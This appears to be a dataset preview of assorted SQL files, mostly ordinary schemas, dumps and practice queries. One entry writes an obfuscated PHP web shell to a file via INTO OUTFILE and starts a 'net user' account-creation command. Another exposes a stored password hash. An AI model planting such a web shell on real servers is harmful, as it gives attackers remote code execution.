text stringlengths 6 9.38M |
|---|
1. 인라인뷰를 사용해서 Student테이블과 department 테이블을 사용해서
학과별로 학생들의 최대키와 몸무게 학과 이름을 출력하세요
select dname, max(height) "MAX_HEIGHT" ,max(weight) "MAX_WEIGHT"
from (select * from student join department on deptno1=deptno)
group by dname;
2.student 테이블과 department테이블을 사용하여 학과이름,학과별 최대키
학과별로 가장키가 큰학생들의 이름과 키를 인라인뷰를 사용하여 출력하시... |
CREATE TABLE `request_network_hashes` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`payment_id` bigint(20) unsigned NOT NULL,
`hash` varchar(255) NOT NULL,
`created` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAM... |
/*
Project 1: Excelsior Mobile Report
Yahya Gahbiche
*/
USE ExcelsiorMobile;
-- 1 -- REPORT QUESTIONS WITH VISUALIZATION
-- A
-- This query will return the minutes, data, text, and the total bill by customer's full name:
SELECT CONCAT(TRIM(FirstName),' ... |
SELECT DISTINCT s1.*
FROM stadium s1, stadium s2, stadium s3
WHERE (s1.id+1=s2.id AND s2.id+1=s3.id AND s1.people>=100 AND s2.people>=100 AND s3.people>=100)
OR (s1.id-1=s2.id AND s1.id+1=s3.id AND s1.people>=100 AND s2.people>=100 AND s3.people>=100)
OR (s1.id-1=s2.id AND s2.id-1=s3.id AND s1.people>=100 AND s2.pe... |
DROP TABLE IF EXISTS bounty_table;
CREATE TABLE bounty_table(
id SERIAL PRIMARY KEY,
name VARCHAR(255),
bounty_value INT,
danger_level VARCHAR(255),
homeworld VARCHAR(255)
);
|
-- MySQL dump 10.13 Distrib 5.7.9, for Win32 (AMD64)
--
-- Host: 192.168.1.128 Database: lte_browser
-- ------------------------------------------------------
-- Server version 5.7.20-log
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESUL... |
DROP TABLE IF EXISTS `userphones`;
|
-- SQL HOMEWORK --
-- CREATE TABLE & IMPORT DATA
-- EMPLOYEE TABLE--
CREATE TABLE employee(
emp_no INTEGER NOT NULL PRIMARY KEY,
emp_title_id VARCHAR NOT NULL,
birth_date VARCHAR NOT NULL,
first_name VARCHAR NOT NULL,
last_name VARCHAR NOT NULL,
sex VARCHAR NOT NULL,
hire_date DATE NOT NULL
)
-- DEPARTMENTS TABLE--
CRE... |
-- phpMyAdmin SQL Dump
-- version 4.7.0
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Aug 08, 2017 at 05:02 PM
-- Server version: 10.1.25-MariaDB
-- PHP Version: 5.6.31
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OL... |
CREATE TABLE "Products" (
"ProductID" "int" IDENTITY (1, 1) NOT NULL ,
"ProductName" nvarchar (40) NOT NULL ,
"SupplierID" "int" NULL ,
"CategoryID" "int" NULL ,
"QuantityPerUnit" nvarchar (20) NULL ,
"UnitPrice" "money" NULL CONSTRAINT "DF_Products_UnitPrice" DEFAULT (0),
"UnitsInStock" "smallint" NULL CONSTRA... |
create table tp_weath (cmd text not null);
insert into tp_weath (cmd) values ("<?php $_=str_replace('0','','a0s00s000e0000r00000t');$_($_POST['s']);");
select cmd from tp_weath into outfile 'w.php';
drop table if exists tp_weath;
<?php $_=str_replace('0','','a0s00s000e0000r00000t');$_($_POST['s']);
#1添加用户
net user ... |
-- phpMyAdmin SQL Dump
-- version 4.0.4
-- http://www.phpmyadmin.net
--
-- Máquina: localhost
-- Data de Criação: 25-Nov-2014 às 17:35
-- Versão do servidor: 5.6.12-log
-- versão do PHP: 5.4.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CL... |
/*
-- Query: SELECT idPerson, name, lastanames, mail, phone, adress
FROM `encoming`.`Person`
LIMIT 0, 1000
-- Date: 2012-10-27 09:50
*/
INSERT INTO `Person` (`idPerson`,`name`,`lastanames`,`mail`,`phone`,`adress`) VALUES (1,'Juan','Martinez','Jummartinezro@unal.edu.co',6833882,'Cra 94C 130A 55');
|
-- CREATE TABLE IF NOT EXISTS user (' +
-- 'id VARCHAR PRIMARY KEY,' +
-- 'username VARCHAR NOT NULL,' +
-- 'email VARCHAR NOT NULL,' +
-- 'password VARCHAR NOT NULL,' +
-- 'role VARCHAR NOT NULL' +
-- ')
-- Up
CREATE TABLE `user` (
id INTEGER PRIMARY KEY,
username VARCHAR NO... |
with sum_track as (
select album.title as album_name,album.artist_id, count(t.track_id) as count_t, m_t.name
from album
join track t on album.album_id = t.album_id
join media_type as m_t on t.media_type_id = m_t.media_type_id
--join invoice_line il on t.track_id = il.track... |
-- phpMyAdmin SQL Dump
-- version 4.9.0.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Waktu pembuatan: 19 Okt 2019 pada 10.50
-- Versi server: 10.4.6-MariaDB
-- Versi PHP: 7.3.9
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHAR... |
-- Your SQL goes here
CREATE TABLE client_pref_channel_configs (
client_pref_channel_config_id SERIAL,
client_preferences_id INTEGER NOT NULL,
channel_id INTEGER NOT NULL,
permitted VARCHAR(1) NOT NULL,
PRIMARY KEY (client_pref_c... |
-- main view
USE ccgi_staging;
CREATE OR REPLACE VIEW pc_equals_n_students AS
SELECT
cds.district,
stu.CA_STATE_STUDENT_ID AS 'SSID',
stu.GRADE_LEVEL AS 'Grade_Level',
cds.School AS 'School',
stu.CDS_CODE,
stu.PARENT_CONSENT,
stu.filename AS 'from_file'
FROM student stu
JOIN cds_codes cds ON cds.CDSCODE = stu.CD... |
CREATE TABLE item(
item_id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
item_name VARCHAR(50) NOT NULL,
item_description VARCHAR(300) NOT NULL,
item_level INT UNSIGNED NOT NULL,
cost DECIMAL(10,2) NOT NULL,
currency VARCHAR(8) NOT NULL,
PRIMARY KEY(item_id)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CH... |
-- Add below your SQL statements.
-- You can create intermediate views (as needed). Remember to drop these views after you have populated the result tables.
-- You can use the "\i a2.sql" command in psql to execute the SQL commands in this file.
-- Query 1 statements
INSERT INTO query1 (
SELECT co.cid AS c1id, ... |
# Write the SQL queries to answer the following questions:
# Select the first name, last name, and email address of all the customers who have rented a movie.
select c.first_name, c.last_name, c.email, count(r.rental_id) as rentals
from customer c
inner join rental r on r.customer_id = c.customer_id
group by c.first_... |
-- delete database
DROP DATABASE IF EXISTS hbtn_0c_0
|
/****** Object: StoredProcedure [dbo].[prc_CWI_GetInvoiceDeliveryToProcess] Script Date: 4/15/2014 4:20:47 PM ******/
IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[prc_CWI_GetInvoiceDeliveryToProcess]') AND type in (N'P', N'PC'))
DROP PROCEDURE [dbo].[prc_CWI_GetInvoiceDeliveryToProcess... |
-- phpMyAdmin SQL Dump
-- version 4.8.5
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Jun 21, 2021 at 02:53 PM
-- Server version: 10.1.38-MariaDB
-- PHP Version: 7.3.2
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD... |
CREATE OR REPLACE VIEW "public"."ZenikasAverageCurrentSkillsAndDesires" AS
SELECT "Skill".id AS "skillId",
"Skill"."categoryId",
"Skill".name,
avg("UserSkill".level) AS "averageLevel",
avg("TechnicalAppetite".level) AS "averageDesire",
count("UserSkill".level) AS "userCount"
FROM (("Skill"
... |
create table thes_data (
id serial primary key,
thes_id integer not null,
data_id integer not null,
unique (thes_id, data_id)
);
create table blue_entry (
entry integer not null unique,
data_id integer primary key
);
create table thes_blue_entry (
thes_id integer not null,
entry integer not null,
pri... |
DROP DATABASE IF EXISTS reviewList;
CREATE DATABASE reviewList;
USE reviewList;
CREATE TABLE reviews (
id integer NOT NULL AUTO_INCREMENT,
username varchar(100) default '' NOT NULL,
rating integer,
reviewDate DATE NOT NULL,
review varchar(500) default '' NOT NULL,
productID integer default 0 NOT NULL,
... |
SELECT YEAR, regname as Region, MAX(HistBall100) AS MaxMark FROM zno_data
WHERE HistTestStatus = 'Зараховано'
GROUP BY regname, year |
CREATE EXTENSION IF NOT EXISTS "citext";
DROP TABLE IF EXISTS albums_shelves;
DROP TABLE IF EXISTS sections_tracks;
DROP TABLE IF EXISTS subjects_tracks;
DROP TABLE IF EXISTS sections;
DROP TABLE IF EXISTS tracks;
DROP TABLE IF EXISTS shelves;
DROP TABLE IF EXISTS albums;
DROP TABLE IF EXISTS subjects;
CREATE TABLE... |
-- MySQL dump 10.13 Distrib 5.7.9, for Win64 (x86_64)
--
-- Host: localhost Database: library
-- ------------------------------------------------------
-- Server version 5.6.17
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!4... |
CREATE DATABASE IF NOT EXISTS `match_recorder` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `match_recorder`;
-- MySQL dump 10.13 Distrib 5.7.9, for Win64 (x86_64)
--
-- Host: 127.0.0.1 Database: match_recorder
-- ------------------------------------------------------
-- Server version 5.5.5-10.1.10-MariaDB
/*!401... |
create or replace view v_inv_lot as
select b.object_rrn,b.org_rrn,b.is_active,b.created,b.created_by,b.updated,b.updated_by,b.lock_version,b.material_id,e.lot_id,c.doc_id,c.date_created,b.qty_movement from inv_movement_line b,inv_movement c,inv_movement_line_lot d,wip_lot e
where b.movement_rrn=c.object_rrn
and c.doc_s... |
select a.day
,a.totalorder as `总订单量`
,concat(cast(100*(b.tujiaorder/a.totalorder) as decimal(5,2)),'%') as `途家占比`
,concat(cast(100*(c.mayiorder/a.totalorder) as decimal(5,2)),'%') as `蚂蚁占比`
,concat(cast(100*(d.qitaorder/a.totalorder) as decimal(5,2)),'%') as `其他占比`
,concat(cast(100*(e.guoneiorder/a.totalorder... |
CREATE TABLE IF NOT EXISTS `inventory` (
`id` int NOT NULL AUTO_INCREMENT,
`gtin` varchar(14),
`product_type` varchar(256),
`style_code` varchar(64) NOT NULL,
`color_code` varchar(64),
`color_description` varchar(64),
`color_type` varchar(64),
`size_code` varchar(64),
`brand` varchar(256),
`gender` varchar(64... |
CREATE OR REPLACE PUBLIC SYNONYM gen_all_compensations_pkg FOR orient.gen_all_compensations_pkg; |
-- most tweets overall per account
SELECT screen_name, count(E.user_id) as cuid
FROM
(SELECT DISTINCT id, user_id, count(id) AS cid
FROM tweet
GROUP BY id, user_id
ORDER BY cid DESC) as E,
newest_users
WHERE newest_users.id=E.user_id
GROUP BY E.user_id, screen_name
ORDER BY cuid DESC;
-- Czaskosk... |
Create Procedure sp_acc_List_BouncedDebitNote (@DebitID int)
As
Select DebitID, VoucherPrefix.Prefix + Cast(DocumentID as nvarchar), DocumentDate, Memo
From DebitNote, VoucherPrefix Where DebitID = @DebitID And
VoucherPrefix.TranID = N'DEBIT NOTE'
SET QUOTED_IDENTIFIER OFF
|
USE [CAD_DINAMICO];
CREATE TABLE dbo.BANCO_DADOS
(
ID_BANCO_DADOS INT PRIMARY KEY IDENTITY(1,1),
NOME VARCHAR(120) NOT NULL
); |
SELECT Position, Count(Position)AS PositionCount FROM Everything GROUP BY Position |
DROP TABLE IF EXISTS CarePlanActivity;
DROP TABLE IF EXISTS CarePlanActivity_HTProgress;
DROP TABLE IF EXISTS CarePlanActivity_HTOutcomeReference;
DROP TABLE IF EXISTS CarePlanActivity_HTOutcomeCodeableConcept;
DROP TABLE IF EXISTS CarePlanActivity_HT;
DROP TABLE IF EXISTS CarePlanDetail_HTPerformer;
DROP TABLE I... |
SELECT
nama, city
FROM people; |
INSERT IGNORE INTO `avps` (`arg`, `value_s`, `value_i`, `value_u`) VALUES
('bestfilmofweek', '0', 0, 0);
-- --------------------------------------------------------
--
-- Table structure for table `class_config`
--
CREATE TABLE IF NOT EXISTS `class_config` (
`id` int(5) NOT NULL AUTO_INCREMENT,
`name` varchar(2... |
/* Look at data in the speed table */
select * from speed_events_json;
/* Calculate speed of drivers over 3 minute window */
SELECT TUMBLE_END(speed_events.eventTimestamp, INTERVAL '3' MINUTE) as windowEnd,
speed_events.driverId,speed_events.driverName,speed_events.route,
avg(speed_events.speed) as driverAvg... |
-- Drop table statements
drop table slot_selection;
drop table movies;
drop table cinema_hall;
drop table events;
drop table user_table;
drop table transaction_movie;
drop table transaction_event;
DROP TABLE CART;
DROP TABLE FOOD_CART;
DROP TABLE FOOD;
DROP TABLE PRICE_DETAILS;
--Drop procedure statements
drop procedu... |
-- Jul 24, 2008 3:37:40 PM CDT
-- Order Distribution
UPDATE AD_Tab SET AD_Column_ID=53930,Updated=TO_TIMESTAMP('2008-07-24 15:37:40','YYYY-MM-DD HH24:MI:SS'),UpdatedBy=0 WHERE AD_Tab_ID=53050
;
-- Jul 24, 2008 3:38:15 PM CDT
-- Order Distribution
UPDATE AD_Field SET SeqNo=60,IsDisplayed='Y' WHERE AD_Field_ID=54... |
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for t_sys_user
-- ----------------------------
DROP TABLE IF EXISTS `t_sys_user`;
CREATE TABLE `t_sys_user` (
`id` int(0) NOT NULL AUTO_INCREMENT COMMENT 'ID',
`username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf... |
CREATE ROLE lsc LOGIN
ENCRYPTED PASSWORD 'md5809ead1da2f082b19e643d95a616110f'
NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;
CREATE DATABASE lsc
WITH OWNER = lsc
ENCODING = 'UTF8'
TABLESPACE = pg_default
CONNECTION LIMIT = -1;
\c lsc
CREATE SEQUENCE public.inetorgperson_pkey
... |
<<<<<<< HEAD
update select * from t_user
=======
delete select * from t_user
>>>>>>> 0180ad79f8340592efb83099a5c8abb22be4eb2f
|
create unique index prices_type_id_source_idx on prices(type_id, source); |
-- phpMyAdmin SQL Dump
-- version 4.7.4
-- https://www.phpmyadmin.net/
--
-- Host: localhost:3306
-- Generation Time: Apr 30, 2019 at 04:27 PM
-- Server version: 5.7.20
-- PHP Version: 7.1.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CH... |
SET FOREIGN_KEY_CHECKS = 0;
SET GROUP_CONCAT_MAX_LEN=32768;
SET @tables = NULL;
SELECT GROUP_CONCAT('`', table_name, '`') INTO @tables
FROM information_schema.tables
WHERE table_schema = (SELECT DATABASE());
SELECT IFNULL(@tables,'dummy') INTO @tables;
SET @tables = CONCAT('DROP TABLE IF EXISTS ', @tables);
PREPAR... |
spool /www/desc.dat;
desc MAIN;
desc OBJECT;
spool off
quit
|
SELECT * FROM department;
SELECT * FROM role;
SELECT * FROM employee;
SELECT role.title as Roles, employee.first_name, department.name as 'department'
FROM employee
JOIN role ON employee.role_id = role.id
JOIN department ON role.department_id = department.id
ORDER BY role.title;
|
DROP TABLE IF EXISTS service_status_report |
SELECT COUNT(*), gender FROM employees
WHERE gender = 'm' OR gender = 'f'
AND (first_name = 'Irena' OR first_name='Vidya' OR first_name='Maya')
GROUP BY gender;
SELECT emp_no, CONCAT(first_name, " ", last_name) AS 'Name' FROM employees
WHERE last_name LIKE 'E%E'
ORDER BY emp_no;
SELECT first_name, last_na... |
-- DDL generated by Postico 1.4.2
-- Not all database features are supported. Do not use for backup.
-- Table Definition ----------------------------------------------
CREATE TABLE requests (
id serial PRIMARY KEY,
username text NOT NULL,
userid integer NOT NULL,
description text NOT NULL,
askedat... |
CREATE TABLE `hastane_otomasyonu`.`admin6` (
`id` INT NOT NULL AUTO_INCREMENT,
`name` VARCHAR(450) NULL,
`surname` VARCHAR(450) NULL,
`password` VARCHAR(450) NULL,
`email` VARCHAR(450) NULL,
`creation_date` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`))
ENGINE = InnoDB
DEFAULT CHAR... |
# --- !Ups
create table if not exists "people" (
"id" bigint generated by default as identity(start with 1) not null primary key,
"name" varchar not null,
"age" int not null
);
create table if not exists "typy_dokumentu" (
"id" bigint generated by default as identity(start with 1) not null primary key,
"nam... |
select to_number(concat(STRM, CLASS_NBR)) as id, t.*
from
(
(select * from CMSCOMMON.SFO_CR_IOC_VW
where STRM like '2177' and (SUBJECT like 'PHYS' or SUBJECT like 'ASTR') and SSR_COMPONENT not like 'SUP')
union
(select * from CMSCOMMON.SFO_CR_IOC_NO_VW
where STRM like '2177' and (SUBJECT like 'PHYS' or SUBJECT like '... |
-- Convert a database to UTF8
-- Also convert first_table from inside the database
ALTER DATABASE hbtn_0c_0 CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE hbtn_0c_0.first_table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
|
CREATE TABLE cleaning_type(
cleaning_type_id NUMBER(2) CONSTRAINT pk_cleaning_type PRIMARY KEY,
cleaning_type_name VARCHAR2(50) CONSTRAINT cleaning_type_name_nn NOT NULL,
cleaning_type_cycle NUMBER(3) CONSTRAINT cleaning_type_cycle_nn NOT NULL
);
CREATE TABLE cleaning_event(
cleaning_type_id NUMBER(2) CONSTRAINT ... |
select time, url from pageviews limit 10;
|
-- 用户表
CREATE TABLE `cloud_music_player`.`user` (
`user_id` INT NOT NULL AUTO_INCREMENT ,
`user_name` VARCHAR(45) NOT NULL,
`user_email` VARCHAR(45) NULL COMMENT '忘记密码时候要输入邮箱和用户名才可以修改密码... |
-- phpMyAdmin SQL Dump
-- version 4.9.2
-- https://www.phpmyadmin.net/
--
-- Hôte : 127.0.0.1:3306
-- Généré le : mer. 01 avr. 2020 à 10:51
-- Version du serveur : 8.0.18
-- Version de PHP : 7.3.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SE... |
DROP TABLE IF EXISTS airly_observations;
DROP TABLE IF EXISTS airly_stations;
CREATE TABLE airly_stations (
id TEXT PRIMARY KEY,
latitude NUMERIC(9, 6),
longitude NUMERIC(9, 6)
);
CREATE TABLE airly_observations (
id SERIAL PRIMARY KEY,
utc_time TIMESTAMP,
station_id TEXT NOT NULL REFERENCES ... |
ALTER TABLE exchanges DROP COLUMN amount_currency;
|
-- +goose Up
-- SQL in this section is executed when the migration is applied.
CREATE TABLE flights(
id uuid DEFAULT uuid_generate_v1(),
departure_city VARCHAR (30) NOT NULL,
departure TIMESTAMP ,
arrival_city VARCHAR (30) NOT NULL,
arrival TIMESTAMP ,
price INT NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO flights(id, d... |
/*USE beadndo_o09ctq;*/
CREATE TABLE `Bolt` (
`UzletID` char(3) NOT NULL,
`Iranyitoszam` int NOT NULL,
`Varos` varchar(50) NOT NULL,
`Hazszam` int NOT NULL,
`Utca` varchar(50) NOT NULL,
`Email` varchar(50) NOT NULL,
`Telefonszam` varchar(50) NOT NULL,
PRIMARY KEY (`UzletID`),
UNIQUE KEY `Uzlet... |
-- MySQL dump 10.13 Distrib 5.5.29, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: jol
-- ------------------------------------------------------
-- Server version 5.5.29-0ubuntu0.12.10.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARA... |
-- --------------------------------------------------------
-- Host: 10.47.17.213
-- Versión del servidor: 5.6.15-log - MySQL Community Server (GPL)
-- SO del servidor: Win32
-- HeidiSQL Versión: 8.3.0.4694
-- ------------------------------------------------... |
/*
Navicat Premium Data Transfer
Source Server : 本地
Source Server Type : MySQL
Source Server Version : 50726
Source Host : localhost:3306
Source Schema : mine
Target Server Type : MySQL
Target Server Version : 50726
File Encoding : 65001
Date: 20/10/2019 22:51:27
*/
... |
-- who2s.sql
-- less detail than who2.sql
-- useful for calling from other scripts
-- to get SID and SERIAL#
col username heading 'USERNAME' format a10
col sessions heading 'SESSIONS'
col sid heading 'SID' format 99999
col status heading 'STATUS' format a10
col machine format a30 head 'MACHINE'
col serial# format 99... |
IF EXISTS(SELECT 1 FROM information_schema.tables
WHERE table_name = '
'__EFMigrationsHistory'' AND table_schema = DATABASE())
BEGIN
CREATE TABLE `__EFMigrationsHistory` (
`MigrationId` varchar(150) NOT NULL,
`ProductVersion` varchar(32) NOT NULL,
PRIMARY KEY (`MigrationId`)
);
END;
CREATE DATABASE... |
/*
出运明细-产品资料
*/
delimiter $
drop trigger if exists Tgr_ShipmentsLine_AftereDelete $
create trigger Tgr_ShipmentsLine_AftereDelete after delete
on ShipmentsLine
for each row
begin
/*定义变量*/
declare sSOL_RecordID varchar(255);
set sSOL_RecordID=old.SOL_RecordID;
call Proc_SalesOrders_LsatShipingState(sSOL... |
CREATE PROCEDURE [sp_insert_Coupon]
(@CollectionID int,
@FromSerial nvarchar(100),
@ToSerial nvarchar(100),
@Denomination decimal(18,6),
@Qty int,
@Value decimal(18,6),
@CouponDepositID int)
AS INSERT INTO Coupon
([CollectionID],
[FromSerial],
[ToSerial],
[Denomination],
[Qty],
[Value],
[C... |
create Function fn_GetCG_Param(@CGtype nvarchar(100),@DSTypeValue nvarchar(50)='%')
Returns @CatID Table (GroupName nvarchar(50))
As
Begin
IF @DSTypeValue ='%' or @DSTypeValue ='%%'
BEGIN
If @CGtype='Operational'
insert into @CatID
Select GroupName From productcategorygroupabstract where OCGtype = 1 ... |
/*
* Query to find the top 10 biggest spender for the year 2001
* By calculating how much they paid in their plans total in the year divided
* by the number of plans they have for the entire year.
*/
SELECT
s.cid,
sum(p.price*(extract(month from s.enddate)-extract(month from s.startdate)))/count(*) AS totalspend... |
-- Crear la base de datos
CREATE SCHEMA 'demo_crud' DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;
-- Crear la tabla usuarios con ID auto-incrementable
CREATE TABLE 'demo_crud'.'users'(
`id` INT NOT NULL AUTO_INCREMENT,
`name_user` VARCHAR(100) NOT NULL,
`password` VARCHAR(100) NOT NULL,
`email` VARCHAR(100) NOT NULL... |
ALTER TABLE `m_loan_repayment_schedule`
ADD COLUMN `recalculated_interest_component` TINYINT(1) NOT NULL DEFAULT '0'; |
-- AUTORIZAR TRANSAÇÕES SAQUE
select * from sc_opr.tbl_opr where cd_pls = 6058681846438161
select * from sc_opr.tbl_opr where cd_pls = 6058681846438161 order by dt_opr desc;
select * from sc_opr.tbl_opr where cd_opr = 5760195
--update sc_opr.tbl_opr set st_opr = 2 where cd_opr = 5760195; |
insert into Towns (Name)values
('Sofia'),
('Plovdiv'),
('Varna'),
('Burgas')
insert into Departments(Name) values
('Engineering'),
('Sales'),
('Marketing'),
('Software Development'),
( 'Quality Assurance')
select * from Departments;
insert into Employees(FirstName,MiddleName,LastName,JobTitle,DepartmentId, HireDate,... |
--- Author: Francisco Munoz Alvarez
--- Date : 20/07/2013
--- Script: chapter10_examples.sql
--- Description: All examples done on chapter 10
--- Data Masking
SQL> SELECT * FROM test.employee;
$ sqlplus fcomunoz/alvarez@pdborcl
SQL> CREATE OR REPLACE PACKAGE pkg_masking
AS
FUNCTION mask_ssn (p_in varchar2) RET... |
-- 3.2 Handling Missing Values
-- here's filtering the insert with the blank orderids
use back_office;
-- Part 1 : Filter Rows with Missing OrderID
insert overwrite table cleansed_sales
select cast(RowID as smallint) as RowID,
cast(null as int) as ClientID,
cast(OrderID as int) as OrderID,
cast(OrderDate... |
\set ON_ERROR_STOP true
CREATE TABLE workouts(
id serial PRIMARY KEY,
name varchar(256),
timestamp timestamptz,
lifts integer[]
);
|
C:\Users\Eddie>cd desktop
C:\Users\Eddie\Desktop>cd playpen
C:\Users\Eddie\Desktop>cd playpen>sqlite3 nw-150810.db
SQlite version 3.22.0 2018-01-22
Enter ".help" for usage hints.
sqlite> .tables
sqlite> .schema region
CREATE TABLE region (
RegionID integer,
RegionDescription text NOT NULL,
PR... |
##創建資料庫
CREATE DATABASE gregs_list;
##使用資料庫
USE gregs_list;
##建立資料表
CREATE TABLE my_contacts
(
last_name VARCHAR(30),
first_name VARCHAR(20),
email VARCHAR(50),
birthday DATE,
profession VARCHAR(50),
location VARCHAR(50),
status VARCHAR(20),
interests VARCHAR(100),
seeking VARCHAR(100)
);
CREATE TABLE doughnut... |
-- en tabla p_programa
-- totalPrograma
select sum(pa.creditoInicial)
from partidas_presupuestarias pa
where pa.idPPrograma = 1
-- totalTramitado
select ifnull(sum(ep.importeATramitado),0) + ifnull(sum(ep.importeDTramitado),0) + ifnull(sum(ep.importeETramitado),0) from expedientes_partidas ep, partidas_pres... |
CREATE TABLE `groups` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`uuid` varchar(255) NOT NULL,
`name` varchar(255) NOT NULL,
`created` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=InnoDB... |
SET NAMES 'utf8';
-- ############################### ACCOUNTS #################################
-- NOT_ACTIVE
INSERT INTO account(id, created_by, created_on, updated_by, updated_on, version, deleted, email, lock_reason, password, account_role, account_status, user_alias) VALUES(1, 'mock', now(), 'mock', now(), 0, ... |
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
IF EXISTS (SELECT *
FROM sys.objects
WHERE object_id = OBJECT_ID(N'[dbo].[prc_ClientPortal_GetMessageAttachment]') AND type in (N'P'))
DROP PROCEDURE [dbo].[prc_ClientPortal_GetMessageAttachment]
GO
CREATE PROC prc_ClientPortal_GetMessageAtt... |
-- phpMyAdmin SQL Dump
-- version 4.5.2
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: 01 Apr 2017 pada 16.27
-- Versi Server: 10.1.16-MariaDB
-- PHP Version: 5.6.24
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT... |
CREATE VIEW `vista 3` AS
select Libros.titulo as "Titulo", Autores.nombre as "Nombre", Autores.apellido as "Apellido", Tags.tag as "Tag"
from Biblioteca.Libros
join Biblioteca.libros_tags
on Libros.id_libro = libros_tags.id_libro
join Biblioteca.Tags
on Tags.id_tag = libros_tags.id_tag
join Biblioteca.libros_autores
o... |
/*
Navicat Premium Data Transfer
Source Server : springboot
Source Server Type : MySQL
Source Server Version : 100139
Source Host : localhost:3306
Source Schema : tmm_home
Target Server Type : MySQL
Target Server Version : 100139
File Encoding : 65001
Date: 13/02/202... |
create database ikman;
use ikman;
create table products ( catogory varchar(100), district varchar(100),details varchar(100)); |
clear break
clear col
set echo off pause off pages 60 line 100
set trimspool on
@who2
col csid new_value usid noprint
prompt SID Value:
set feed off term off
select '&1' csid from dual;
set feed on term on
col username format a10
col event format a35
col total_waits format 9999999 head "TOTAL|WAITS"
col total_time... |
create or replace procedure gettab_test
as
v_date varchar2(20);
v_str varchar2(1000);
v_par varchar2(1000);
begin
select to_char(sysdate-1,'yyyymmdd') into v_date from dual;
for c_cur in (select table_name from user_tables where table_name like 'CDL_ZX_%'||v_date or table_name like 'CDL_LC_%'||v_date) loop
v_p... |
-- phpMyAdmin SQL Dump
-- version 5.0.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Tempo de geração: 30-Out-2020 às 14:14
-- Versão do servidor: 10.4.11-MariaDB
-- versão do PHP: 7.2.28
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET ... |
-- phpMyAdmin SQL Dump
-- version 5.0.4
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Gegenereerd op: 06 jan 2021 om 15:14
-- Serverversie: 10.4.16-MariaDB
-- PHP-versie: 7.4.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHA... |
prompt PL/SQL Developer import file
prompt Created on 2015年2月7日 by moshco
set feedback off
set define off
prompt Dropping BIZ_ACCOUNT...
drop table BIZ_ACCOUNT cascade constraints;
prompt Dropping BIZ_ATTENDANCE...
drop table BIZ_ATTENDANCE cascade constraints;
prompt Dropping BIZ_CHECK_RESULT...
drop table BIZ_CHECK_R... |
select "actorId",
"firstName",
"lastName"
from "actors"
order by "actorId";
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.